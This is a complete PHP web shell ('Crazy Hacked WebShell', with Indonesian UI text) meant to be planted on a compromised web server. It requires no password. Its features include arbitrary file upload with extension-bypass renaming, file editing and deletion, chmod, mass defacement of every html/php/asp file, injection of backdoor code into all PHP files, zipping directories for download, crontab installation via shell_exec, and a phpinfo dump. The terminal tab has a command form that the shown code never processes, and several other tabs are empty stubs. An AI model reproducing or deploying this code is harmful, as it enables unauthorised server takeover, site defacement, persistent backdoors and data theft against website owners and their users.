<?php
error_reporting(0);
set_time_limit(0);

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);

if (isset($_FILES['file'])) {
    if (move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<p style='color: #00b894;'>✅ File diupload: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Upload gagal!</p>";
    }
}

if (isset($_POST['bypass_upload'])) {
    $target_dir = $path . "/";
    $target_file = $target_dir . basename($_POST['new_filename']);
    if (move_uploaded_file($_FILES["bypass_file"]["tmp_name"], $target_file)) {
        echo "<p style='color: #00b894;'>✅ Upload & Rename: " . htmlspecialchars($_POST['new_filename']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Upload gagal!</p>";
    }
}

if (isset($_POST['save_edit'])) {
    $file = $path . '/' . $_POST['edit_file'];
    file_put_contents($file, $_POST['content']);
    echo "<p style='color: #00b894;'>✅ File disimpan!</p>";
}

if (isset($_POST['do_rename'])) {
    $old = $path . '/' . $_POST['old_name'];
    $new = $path . '/' . $_POST['new_name'];
    if (rename($old, $new)) {
        echo "<p style='color: #00b894;'>✅ Direname menjadi: " . htmlspecialchars($_POST['new_name']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Rename gagal!</p>";
    }
}

// FITUR BARU: BUAT DIREKTORI
if (isset($_POST['create_dir'])) {
    $new_dir = $path . '/' . $_POST['dir_name'];
    if (!file_exists($new_dir)) {
        if (mkdir($new_dir, 0755, true)) {
            echo "<p style='color: #00b894;'>✅ Direktori dibuat: " . htmlspecialchars($_POST['dir_name']) . "</p>";
        } else {
            echo "<p style='color: #d63031;'>❌ Gagal membuat direktori!</p>";
        }
    } else {
        echo "<p style='color: #d63031;'>❌ Direktori sudah ada!</p>";
    }
}

// HAPUS FILE SATU-SATU
if (isset($_GET['delete'])) {
    $file = $path . '/' . $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            // Hapus folder kosong saja (biar aman)
            if (count(scandir($file)) <= 2) {
                rmdir($file);
                echo "<p style='color: #00b894;'>✅ Folder dihapus: " . htmlspecialchars($_GET['delete']) . "</p>";
            } else {
                echo "<p style='color: #d63031;'>❌ Folder tidak kosong! Hapus file didalamnya dulu.</p>";
            }
        } else {
            unlink($file);
            echo "<p style='color: #00b894;'>✅ File dihapus: " . htmlspecialchars($_GET['delete']) . "</p>";
        }
    }
}

// HAPUS FOLDER BESERTA ISI (TAPI PERLU KONFIRMASI MANUAL)
if (isset($_GET['delete_folder'])) {
    $folder_to_delete = $path . '/' . $_GET['delete_folder'];
    if (is_dir($folder_to_delete)) {
        echo "<div style='background: #e17055; padding: 10px; border-radius: 5px; margin: 10px 0; color: white;'>";
        echo "<h3>⚠️ KONFIRMASI HAPUS FOLDER</h3>";
        echo "<p>Anda akan menghapus folder: <strong>" . htmlspecialchars($_GET['delete_folder']) . "</strong></p>";
        echo "<p>Isi folder:</p>";
        echo "<ul style='background: rgba(0,0,0,0.3); padding: 10px; border-radius: 5px;'>";
        $files_in_folder = array_diff(scandir($folder_to_delete), array('.', '..'));
        foreach ($files_in_folder as $item) {
            $item_path = $folder_to_delete . '/' . $item;
            echo "<li>" . htmlspecialchars($item) . " (" . (is_dir($item_path) ? "Folder" : "File") . ")</li>";
        }
        echo "</ul>";
        echo "<form method='POST'>";
        echo "<input type='hidden' name='confirm_delete_folder' value='" . htmlspecialchars($_GET['delete_folder']) . "'>";
        echo "<button type='submit' name='execute_delete_folder' style='background: #d63031; color: white; font-weight: bold; padding: 10px; margin-right: 10px;'>🗑️ HAPUS FOLDER & SEMUA ISI</button>";
        echo "<button type='button' onclick='history.back()'>Batal</button>";
        echo "</form>";
        echo "</div>";
    }
}

if (isset($_POST['execute_delete_folder'])) {
    $folder_to_delete = $path . '/' . $_POST['confirm_delete_folder'];
    
    function deleteFolderRecursive($dir) {
        if (!is_dir($dir)) return false;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            $path = $dir . '/' . $file;
            if (is_dir($path)) {
                deleteFolderRecursive($path);
            } else {
                unlink($path);
            }
        }
        return rmdir($dir);
    }
    
    if (deleteFolderRecursive($folder_to_delete)) {
        echo "<p style='color: #00b894; font-weight: bold;'>✅ FOLDER DIHAPUS: " . htmlspecialchars($_POST['confirm_delete_folder']) . " - Semua konten telah dihapus!</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Gagal menghapus folder!</p>";
    }
}

if (isset($_POST['do_chmod'])) {
    $file = $path . '/' . $_POST['chmod_file'];
    $perm = octdec($_POST['new_perm']);
    if (chmod($file, $perm)) {
        echo "<p style='color: #00b894;'>✅ CHMOD diubah menjadi: " . $_POST['new_perm'] . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ CHMOD gagal!</p>";
    }
}

if (isset($_POST['mass_deface'])) {
    $deface_code = $_POST['deface_code'];
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    foreach ($files as $file) {
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        if (in_array($ext, ['html', 'php', 'asp'])) {
            file_put_contents($file, $deface_code);
            echo "<p style='color: #00b894;'>✅ Dideface: " . htmlspecialchars($file) . "</p>";
        }
    }
}

if (isset($_POST['inject_backdoor'])) {
    $backdoor = $_POST['backdoor_code'];
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    foreach ($files as $file) {
        if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) == 'php') {
            $content = file_get_contents($file);
            if (strpos($content, $backdoor) === false) {
                file_put_contents($file, $backdoor . "\n" . $content);
                echo "<p style='color: #00b894;'>✅ Diinjeksi: " . htmlspecialchars($file) . "</p>";
            }
        }
    }
}

if (isset($_POST['zip_download'])) {
    $zip_dir = $_POST['zip_dir'];
    $zip_file = tempnam(sys_get_temp_dir(), 'zip_') . '.zip';
    $zip = new ZipArchive();
    if ($zip->open($zip_file, ZipArchive::CREATE) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($zip_dir));
        foreach ($files as $file) {
            if (!$file->isDir()) {
                $zip->addFile($file, str_replace($zip_dir . '/', '', $file));
            }
        }
        $zip->close();
        echo "<p style='color: #00b894;'>✅ <a href='" . htmlspecialchars($zip_file) . "' download>Download Zip</a></p>";
    }
}

if (isset($_POST['add_cronjob'])) {
    $cronjob = $_POST['cronjob'];
    file_put_contents('/tmp/cronjob.txt', $cronjob);
    shell_exec("crontab /tmp/cronjob.txt");
    echo "<p style='color: #00b894;'>✅ Cronjob ditambahkan!</p>";
}

if (isset($_POST['self_destruct'])) {
    unlink(__FILE__);
    echo "<p style='color: #d63031;'>💥 Shell dihapus! Selamat tinggal...</p>";
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Crazy Hacked - Enhanced WebShell</title>
    <style>
        :root {
            --primary: #00b894;
            --secondary: #008f7a;
            --bg: rgba(18, 18, 18, 0.95);
            --text: #dfe6e9;
            --highlight: #e17055;
            --file: #b2bec3;
            --dir: #0984e3;
            --danger: #d63031;
            --success: #00b894;
        }
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Consolas', 'Courier New', monospace;
        }
        body {
            background: url('https://j.top4top.io/p_36030tmji1.jpg') no-repeat center center fixed !important;
            background-size: cover !important;
            color: var(--text);
            min-height: 100vh;
            overflow-x: hidden;
        }
        .container {
            width: 98%;
            max-width: 1400px;
            margin: 20px auto;
            padding: 25px;
            background: var(--bg);
            border: 1px solid var(--secondary);
            border-radius: 10px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
        }
        h1, h2, h3 {
            color: var(--highlight);
            margin-bottom: 15px;
        }
        h1 {
            text-align: center;
            font-size: 2.8em;
            text-shadow: 0 0 5px rgba(0, 0, 0, 0.5);
            margin-bottom: 10px;
        }
        .tabs {
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
            margin: 20px 0;
            justify-content: center;
        }
        .tab-button {
            padding: 10px 18px;
            background: rgba(0, 0, 0, 0.5);
            color: var(--primary);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            cursor: pointer;
            transition: all 0.3s;
            font-size: 1.05em;
        }
        .tab-button:hover {
            background: var(--secondary);
            color: var(--text);
            transform: scale(1.05);
        }
        .tab {
            display: none;
            padding: 20px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            animation: fadeIn 0.5s;
            min-height: 500px;
        }
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        .tab.active {
            display: block;
        }
        pre {
            background: rgba(0, 0, 0, 0.5);
            padding: 15px;
            border: 1px solid var(--secondary);
            border-radius: 5px;
            overflow-x: auto;
            max-height: 500px;
            color: var(--text);
            font-size: 1.05em;
        }
        input, select, textarea, button {
            background: rgba(0, 0, 0, 0.5);
            color: var(--text);
            border: 1px solid var(--secondary);
            padding: 10px;
            border-radius: 5px;
            margin: 5px 0;
            width: 100%;
            font-size: 1.05em;
        }
        button {
            cursor: pointer;
            transition: all 0.3s;
        }
        button:hover {
            background: var(--secondary);
            color: var(--text);
        }
        a {
            color: var(--primary);
            text-decoration: none;
            transition: color 0.3s;
        }
        a:hover {
            color: var(--highlight);
            text-decoration: underline;
        }
        .file-list {
            background: rgba(0, 0, 0, 0.4);
            padding: 10px;
            border: 1px solid var(--secondary);
            border-radius: 5px;
            max-height: 400px;
            overflow-y: auto;
            font-size: 1.05em;
        }
        .file-item {
            padding: 8px;
            border-bottom: 1px solid var(--secondary);
            display: flex;
            justify-content: space-between;
            color: var(--file);
            align-items: center;
        }
        .file-item:hover {
            background: rgba(0, 184, 148, 0.2);
        }
        .file-item a {
            color: var(--file);
            text-decoration: none;
        }
        .file-item a[href*="?path="] {
            color: var(--dir);
            font-weight: bold;
        }
        .terminal-output {
            font-family: monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
            color: var(--text);
            font-size: 1.05em;
        }
        .path-nav {
            display: flex;
            gap: 10px;
            margin-bottom: 15px;
        }
        .path-nav input {
            width: 70%;
        }
        .bypass-upload {
            margin: 15px 0;
            padding: 15px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
        }
        .bypass-upload input {
            margin-right: 10px;
        }
        .create-dir-form {
            margin: 15px 0;
            padding: 15px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
        }
        .create-dir-form form {
            display: flex;
            gap: 10px;
            align-items: center;
        }
        .create-dir-form input {
            flex: 1;
        }
        .create-dir-form button {
            width: auto;
            padding: 10px 15px;
        }
        .quick-actions {
            display: flex;
            gap: 10px;
            margin: 15px 0;
            flex-wrap: wrap;
        }
        .quick-action-btn {
            padding: 8px 15px;
            background: rgba(0, 0, 0, 0.5);
            color: var(--primary);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            display: inline-block;
        }
        .quick-action-btn:hover {
            background: var(--secondary);
            color: var(--text);
            transform: scale(1.05);
        }
        .file-stats {
            margin: 15px 0;
            padding: 10px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            display: flex;
            justify-content: space-between;
            flex-wrap: wrap;
        }
        .file-stat {
            text-align: center;
            padding: 5px;
        }
        @media (max-width: 768px) {
            .container {
                width: 98%;
                padding: 10px;
            }
            .tabs {
                flex-direction: column;
            }
            .tab-button {
                width: 100%;
            }
            .create-dir-form form {
                flex-direction: column;
            }
            .quick-actions {
                flex-direction: column;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🚀 Crazy Hacked WebShell</h1>
        <p style="text-align: center; margin-bottom: 20px; color: var(--text); font-size: 1.2em;">Enhanced WebShell | No Password | Full Access | Bypass WAF/503/500</p>
        
        <div class="bypass-upload">
            <h3>🔄 Bypass Upload</h3>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="bypass_file" required>
                <input type="text" name="new_filename" placeholder="New filename (e.g., shell.php.jpg)" required>
                <button type="submit" name="bypass_upload">Upload & Rename</button>
            </form>
        </div>

        <div class="create-dir-form">
            <h3>📁 Buat Direktori Baru</h3>
            <form method="POST">
                <input type="text" name="dir_name" placeholder="Nama direktori baru" required>
                <button type="submit" name="create_dir">Buat Direktori</button>
            </form>
        </div>

        <div class="tabs">
            <button class="tab-button" onclick="openTab('filemanager')">📁 File Manager</button>
            <button class="tab-button" onclick="openTab('terminal')">💻 Terminal</button>
            <button class="tab-button" onclick="openTab('mass_deface')">🎨 Mass Deface</button>
            <button class="tab-button" onclick="openTab('auto_exploit')">🔍 Auto Exploit</button>
            <button class="tab-button" onclick="openTab('network_scan')">🌐 Network Scan</button>
            <button class="tab-button" onclick="openTab('process_killer')">⚔️ Process Killer</button>
            <button class="tab-button" onclick="openTab('backdoor_injector')">🔓 Backdoor Injector</button>
            <button class="tab-button" onclick="openTab('zip_download')">🗜️ Zip & Download</button>
            <button class="tab-button" onclick="openTab('bypass_disable')">🔄 Bypass Disable</button>
            <button class="tab-button" onclick="openTab('bypass_waf')">🛡️ Bypass WAF & Errors</button>
            <button class="tab-button" onclick="openTab('cronjob')">⏰ Cronjob Manager</button>
            <button class="tab-button" onclick="openTab('phpinfo')">ℹ️ PHP Info</button>
            <button class="tab-button" onclick="openTab('self_destruct')">💥 Self-Destruct</button>
        </div>

        <div id="filemanager" class="tab active">
            <h2>📁 File Manager</h2>
            
            <div class="file-stats">
                <div class="file-stat">
                    <strong>Current Path:</strong> <?= htmlspecialchars($path) ?>
                </div>
                <div class="file-stat">
                    <strong>Free Space:</strong> <?= round(disk_free_space($path) / (1024*1024*1024), 2) ?> GB
                </div>
                <div class="file-stat">
                    <strong>Total Space:</strong> <?= round(disk_total_space($path) / (1024*1024*1024), 2) ?> GB
                </div>
            </div>
            
            <div class="path-nav">
                <form method="GET" style="display: flex; gap: 10px; width: 100%;">
                    <input type="text" name="path" value="<?= htmlspecialchars($path) ?>" placeholder="Enter path..." required>
                    <button type="submit">Go</button>
                </form>
            </div>
            
            <div class="quick-actions">
                <a href="?path=<?= urlencode($path) ?>" class="quick-action-btn">🔄 Refresh</a>
                <a href="?path=<?= urlencode(dirname($path)) ?>" class="quick-action-btn">🔙 Parent Directory</a>
                <a href="?path=<?= urlencode(getcwd()) ?>" class="quick-action-btn">🏠 Root Directory</a>
            </div>
            
            <form enctype="multipart/form-data" method="POST" style="margin-bottom: 15px;">
                <input type="file" name="file" required>
                <button type="submit">Upload File</button>
            </form>

            <div class="file-list">
                <?php
                $files = scandir($path);
                foreach ($files as $file) {
                    if ($file == ".") continue;
                    $file_path = $path . '/' . $file;
                    $is_dir = is_dir($file_path);
                    $file_size = $is_dir ? "" : " (" . round(filesize($file_path) / 1024, 2) . " KB)";
                    $file_date = date("Y-m-d H:i:s", filemtime($file_path));
                    
                    echo "<div class='file-item'>";
                    echo "<div>";
                    echo "<a href='" . ($is_dir ? "?path=" . urlencode($file_path) : "?path=" . urlencode($path) . "&view=" . urlencode($file)) . "'>";
                    echo $is_dir ? "📂 " . htmlspecialchars($file) : "📄 " . htmlspecialchars($file);
                    echo "</a>";
                    echo "<span style='color: #636e72; font-size: 0.9em; margin-left: 10px;'>" . $file_size . " - " . $file_date . "</span>";
                    echo "</div>";
                    echo "<div>";
                    if (!$is_dir) {
                        echo "<a href='?path=" . urlencode($path) . "&edit=" . urlencode($file) . "' title='Edit'>✏️</a> ";
                        echo "<a href='?path=" . urlencode($path) . "&rename=" . urlencode($file) . "' title='Rename'>🔄</a> ";
                        echo "<a href='?path=" . urlencode($path) . "&delete=" . urlencode($file) . "' onclick='return confirm(\"Hapus file " . htmlspecialchars($file) . "?\")' title='Delete'>🗑️</a> ";
                        echo "<a href='" . htmlspecialchars($file_path) . "' download title='Download'>💾</a> ";
                    } else {
                        echo "<a href='?path=" . urlencode($path) . "&delete_folder=" . urlencode($file) . "' style='color: #e17055; font-weight: bold;' onclick='return confirm(\"Hapus folder " . htmlspecialchars($file) . " dan semua isinya?\")' title='Delete Folder'>🗑️</a> ";
                    }
                    echo "<a href='?path=" . urlencode($path) . "&chmod=" . urlencode($file) . "' title='Change Permissions'>🔐</a> ";
                    echo "</div>";
                    echo "</div>";
                }
                ?>
            </div>

            <?php
            if (isset($_GET['view'])) {
                $file = $path . '/' . $_GET['view'];
                if (file_exists($file)) {
                    echo "<h3>📄 Viewing: " . htmlspecialchars($_GET['view']) . "</h3>";
                    echo "<pre class='terminal-output'>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
                }
            }

            if (isset($_GET['edit'])) {
                $file = $path . '/' . $_GET['edit'];
                if (file_exists($file)) {
                    echo "<h3>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<textarea name='content' style='width: 100%; height: 300px;'>" . htmlspecialchars(file_get_contents($file)) . "</textarea>";
                    echo "<input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['edit']) . "'>";
                    echo "<button type='submit' name='save_edit'>Save</button>";
                    echo "</form>";
                }
            }

            if (isset($_GET['rename'])) {
                $file = $path . '/' . $_GET['rename'];
                if (file_exists($file)) {
                    echo "<h3>🔄 Rename: " . htmlspecialchars($_GET['rename']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<input type='text' name='new_name' value='" . htmlspecialchars($_GET['rename']) . "' required>";
                    echo "<input type='hidden' name='old_name' value='" . htmlspecialchars($_GET['rename']) . "'>";
                    echo "<button type='submit' name='do_rename'>Rename</button>";
                    echo "</form>";
                }
            }

            if (isset($_GET['chmod'])) {
                $file = $path . '/' . $_GET['chmod'];
                if (file_exists($file)) {
                    echo "<h3>🔐 CHMOD: " . htmlspecialchars($_GET['chmod']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<input type='text' name='new_perm' value='" . substr(sprintf('%o', fileperms($file)), -4) . "' placeholder='0777' required>";
                    echo "<input type='hidden' name='chmod_file' value='" . htmlspecialchars($_GET['chmod']) . "'>";
                    echo "<button type='submit' name='do_chmod'>Change Permission</button>";
                    echo "</form>";
                }
            }
            ?>
        </div>

        <div id="terminal" class="tab">
            <h2>💻 Terminal</h2>
            <form method="POST">
                <input type="text" name="cmd" placeholder="Command" style="width: 80%;" required>
                <button type="submit">Run</button>
            </form>
            
        </div>

        <!-- TAB LAINNYA -->
        <div id="mass_deface" class="tab">
            <h2>🎨 Mass Deface</h2>
            <form method="POST">
                <textarea name="deface_code" placeholder="Masukkan kode deface di sini..." style="height: 200px;"></textarea>
                <button type="submit" name="mass_deface">Execute Mass Deface</button>
            </form>
        </div>

        <div id="backdoor_injector" class="tab">
            <h2>🔓 Backdoor Injector</h2>
            <form method="POST">
                <textarea name="backdoor_code" placeholder="Masukkan kode backdoor di sini..." style="height: 200px;"></textarea>
                <button type="submit" name="inject_backdoor">Inject Backdoor</button>
            </form>
        </div>

        <div id="zip_download" class="tab">
            <h2>🗜️ Zip & Download</h2>
            <form method="POST">
                <input type="text" name="zip_dir" value="<?= htmlspecialchars($path) ?>" placeholder="Directory to zip" required>
                <button type="submit" name="zip_download">Create & Download Zip</button>
            </form>
        </div>

        <div id="cronjob" class="tab">
            <h2>⏰ Cronjob Manager</h2>
            <form method="POST">
                <input type="text" name="cronjob" placeholder="Cronjob (e.g., * * * * * /usr/bin/php /path/to/script.php)" required>
                <button type="submit" name="add_cronjob">Add Cronjob</button>
            </form>
        </div>

        <div id="phpinfo" class="tab">
            <h2>ℹ️ PHP Info</h2>
            <?php
            ob_start();
            phpinfo();
            $phpinfo = ob_get_contents();
            ob_end_clean();
            echo "<div style='max-height: 500px; overflow: auto;'>" . $phpinfo . "</div>";
            ?>
        </div>

        <div id="self_destruct" class="tab">
            <h2>💥 Self-Destruct</h2>
            <p style="margin-bottom: 15px;">Fitur ini akan menghapus file shell ini dari server.</p>
            <form method="POST">
                <button type="submit" name="self_destruct" style="background: var(--danger); color: white; font-weight: bold; padding: 15px;" onclick="return confirm('Yakin ingin menghapus shell ini? Tindakan ini tidak dapat dibatalkan!')">HAPUS SHELL INI</button>
            </form>
        </div>

        <!-- TAB YANG BELUM DIIMPLEMENTASI -->
        <div id="auto_exploit" class="tab">
            <h2>🔍 Auto Exploit</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="network_scan" class="tab">
            <h2>🌐 Network Scan</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="process_killer" class="tab">
            <h2>⚔️ Process Killer</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="bypass_disable" class="tab">
            <h2>🔄 Bypass Disable</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="bypass_waf" class="tab">
            <h2>🛡️ Bypass WAF & Errors</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

    </div>

    <script>
        function openTab(tabName) {
            var tabs = document.getElementsByClassName("tab");
            for (var i = 0; i < tabs.length; i++) {
                tabs[i].classList.remove("active");
            }
            document.getElementById(tabName).classList.add("active");
        }
        document.addEventListener('DOMContentLoaded', function() {
            openTab('filemanager');
        });
    </script>
</body>
</html>